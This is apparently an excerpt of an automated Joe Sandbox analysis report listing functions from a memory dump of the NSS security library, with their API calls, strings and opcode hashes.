Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 7416665701e9f6522dd6d8c34b425d1e667ffce4d16c4978c19ea4f19d74bda0
Instruction ID: 687a60038631efd2e17efb584ee24ad7342901fcc80eea61855c7e7dea1a136f
Opcode Fuzzy Hash: 7416665701e9f6522dd6d8c34b425d1e667ffce4d16c4978c19ea4f19d74bda0
Instruction Fuzzy Hash: CD31B8B29002146BEB00AF69AD41BBB76B8EF65708F050175ED09A7B41FB35D918C6E2

Function 6CC07E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC07E48

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CC07E5B

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC07E7B

Part of subcall function 6CC5FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC58D2D,?,00000000,?), ref: 6CC5FB85
Part of subcall function 6CC5FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC5FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CD2925C,?), ref: 6CC07E92

Part of subcall function 6CC5B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD318D0,?), ref: 6CC5B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC07EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CC07ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CC07EFA

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 255070aabd92f7736b3c5e195a806173b46ab1da01f17c11449d2ecdaa2c0c29
Instruction ID: 05ed7e33a4d12b21ec18e1919afe00e300eb1e7c00c9c37dc6d1f76a535e585f
Opcode Fuzzy Hash: 255070aabd92f7736b3c5e195a806173b46ab1da01f17c11449d2ecdaa2c0c29
Instruction Fuzzy Hash: 9331AFB2F012119FEB148B699D80B5B73A8AF44658F154824DD25EBB41F732FC04C7E1

Function 6CC5DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CC5D9E4,00000000), ref: 6CC5DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CC5D9E4,00000000), ref: 6CC5DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CC5D9E4,00000000), ref: 6CC5DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC5DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC5DCAD

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: ca486210e0bfe6d68f8c2f7abd624ac668dd8386d34398d22f97df90b1458b2a
Instruction ID: e26e2cc63dde53fbd2e9933df8aa9ce3004b0a50ee7ac9a762e2f34238782eea
Opcode Fuzzy Hash: ca486210e0bfe6d68f8c2f7abd624ac668dd8386d34398d22f97df90b1458b2a
Instruction Fuzzy Hash: DF316DB5A003019FE710CF1ED984A56B7F8BF45358F548429E948CBB01F771E964CBA6

Function 6CC22E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CC1E728,?,00000038,?,?,00000000), ref: 6CC22E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC22E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC22E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CC22E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CC22E9E
PR_Unlock.NSS3(?), ref: 6CC22EAB
PR_Unlock.NSS3(?), ref: 6CC22F0D

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 6e7dcad8b4b4e03df1d4fbf56b848a39f633e9db82325067b83983396b03b66f
Instruction ID: da99dbe837881b929b74aba2645f69117313045c976b4d2633d77c697e1cac4d
Opcode Fuzzy Hash: 6e7dcad8b4b4e03df1d4fbf56b848a39f633e9db82325067b83983396b03b66f
Instruction Fuzzy Hash: 7031F475E00106ABEB009F69DC448BAB778FF45268B048164ED18C7B21FB31ED65C7E1

Function 6CC6CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CC6CD93,?), ref: 6CC6CEEE

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CC6CD93,?), ref: 6CC6CEFC

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CC6CD93,?), ref: 6CC6CF0B

Part of subcall function 6CC60840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC608B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CC6CD93,?), ref: 6CC6CF1D

Part of subcall function 6CC5FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC58D2D,?,00000000,?), ref: 6CC5FB85
Part of subcall function 6CC5FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC5FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CC6CD93,?), ref: 6CC6CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CC6CD93,?), ref: 6CC6CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CC6CD93,?,?,?,?,?,?,?,?,?,?,?,6CC6CD93,?), ref: 6CC6CF78

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 87c38ec170687339fa64b501ef896e3803afdd9cc779bf33feb892c903b601af
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: F911A5A5E042045BEF00AAAB6E81B6BB5EC9F5454EF044039EC09D7F41FB64D91986B2

Function 6CC18C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC18C1B
EnterCriticalSection.KERNEL32 ref: 6CC18C34
PL_ArenaAllocate.NSS3 ref: 6CC18C65
PR_Unlock.NSS3 ref: 6CC18C9C
PR_Unlock.NSS3 ref: 6CC18CB6

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

Strings

KRAM, xrefs: 6CC18C8F

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 66906530bf3afc431736a292bf675b8f11d9721fa8c0b5025c8a24d3a202cc50
Instruction ID: b90287a3de4e30f3acad90154c53cb96beb41616895873eded41d8493fe8b56c
Opcode Fuzzy Hash: 66906530bf3afc431736a292bf675b8f11d9721fa8c0b5025c8a24d3a202cc50
Instruction Fuzzy Hash: 8F2174B1A096018FD700AF7AC494969B7F4FF45304F06896AD8888BB11FB35D886CB91

Function 6CC93E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CC95B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC95B56

PR_EnterMonitor.NSS3(?), ref: 6CC93E45

Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90AB
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90C9
Part of subcall function 6CCC9090: EnterCriticalSection.KERNEL32 ref: 6CCC90E5
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9116
Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC913F

PR_EnterMonitor.NSS3(?), ref: 6CC93E5C
PR_EnterMonitor.NSS3(?), ref: 6CC93E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CC93EA6

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PR_ExitMonitor.NSS3(?), ref: 6CC93EC0
PR_ExitMonitor.NSS3(?), ref: 6CC93ED7
PR_ExitMonitor.NSS3(?), ref: 6CC93EEE

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 280e9ce9bd09b3631e0baecf7f73dee1b44f5c68e2be373873a2da37c2d8608f
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 84117275610600ABDB319F29FC02BD7B7A1EB41319F484824E65E96A20F736E929C753

Function 6CD12C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CD12CA0
PR_ExitMonitor.NSS3 ref: 6CD12CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CD12CD1
strdup.MOZGLUE(?), ref: 6CD12CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CD12D27

Strings

Loaded library %s (static lib), xrefs: 6CD12D22

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 4dbe717b765555afaae66acef63e5bc2abf6fd27d5e6b16081fde2f823de7366
Instruction ID: 496dbdb63d6bbce2d9423b3430ab6b94faa1ac978e430bbe2e526d486368ae9f
Opcode Fuzzy Hash: 4dbe717b765555afaae66acef63e5bc2abf6fd27d5e6b16081fde2f823de7366
Instruction Fuzzy Hash: AF11E2B9705240DFFB008F56EC44A6677B9AB4634DF04802DEA4987F61E732E818CBB1

Function 6CC0BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC0BDCA

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CC0BDDB

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CC0BDEC

Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CC0BE03

Part of subcall function 6CC5FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC58D2D,?,00000000,?), ref: 6CC5FB85
Part of subcall function 6CC5FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC5FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC0BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC0BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC0BE3B

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 206ee55aa1b1442af7ac4bcf4b34260abd4cf206b87b88bcea02ed69717d6208
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: D80126A5B402016AF61022676C11FAB76484F5078EF140130FF18DAB82FB62E11983B6

Function 6CC60FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016

Part of subcall function 6CCC98D0: calloc.MOZGLUE(00000001,00000084,6CBF0936,00000001,?,6CBF102C), ref: 6CCC98E5

PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B
TlsGetValue.KERNEL32(00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61044
free.MOZGLUE(00000000,?,00000800,6CBFEF74,00000000), ref: 6CC61064

Strings

security, xrefs: 6CC61025

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: fb60e23db0c5eff78be0d52fb7b03bb5cf835b8a999a320c4059843d2688c37a
Instruction ID: c468286970d5a88145eba9d1a778c639e551242435020d0253acd7e190b9263d
Opcode Fuzzy Hash: fb60e23db0c5eff78be0d52fb7b03bb5cf835b8a999a320c4059843d2688c37a
Instruction Fuzzy Hash: 7A014835A0029197FB202F2F9E857563A68BF4674AF010116EA8897E61FB70C146DBD1

Function 6CC91C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC91C74

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CC91C92
free.MOZGLUE(?), ref: 6CC91C99
DeleteCriticalSection.KERNEL32(?), ref: 6CC91CCB
free.MOZGLUE(?), ref: 6CC91CD2

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: b2bcfd95c6b9c71ce753099be4a3dc28655ecf7c79ad9d30b8315e23f4ae2cd5
Instruction ID: 5bb73cc64d456b1b7e6e95877c0c770811a32d59316a382a7538f742d7bbeba8
Opcode Fuzzy Hash: b2bcfd95c6b9c71ce753099be4a3dc28655ecf7c79ad9d30b8315e23f4ae2cd5
Instruction Fuzzy Hash: 4B0196B1F412115FFF20AFAA9D0E75537BC670A31CF500125E709A2B40F7659105C7A1

Function 6CCF1C40 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,6CBF3D77,?,?,6CBF4E1D), ref: 6CCF1C8A
sqlite3_free.NSS3(00000000), ref: 6CCF1CB6

Strings

an index, xrefs: 6CCF1C67
a CHECK constraint, xrefs: 6CCF1C76, 6CCF1C81
a generated column, xrefs: 6CCF1C6C
non-deterministic use of %s() in %s, xrefs: 6CCF1C85

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 1840970956-3705377941
Opcode ID: 8092b7a2b2ad59b80d95f2e47159e5af9d2f6b70c6e1df2b19f024fc1d5365c3
Instruction ID: c84055430283fbf4dd3a986baf2ce8d2a49981d5ed37ef98e5775ea25687f417
Opcode Fuzzy Hash: 8092b7a2b2ad59b80d95f2e47159e5af9d2f6b70c6e1df2b19f024fc1d5365c3
Instruction Fuzzy Hash: 7B0124B1A002405BDB00AB2CD81297677E5EFC638CB15086DE9499BB12EB32E857C751

Function 6CCA2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCA3046

Part of subcall function 6CC8EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC8EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CC77FFB), ref: 6CCA312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CCA3154
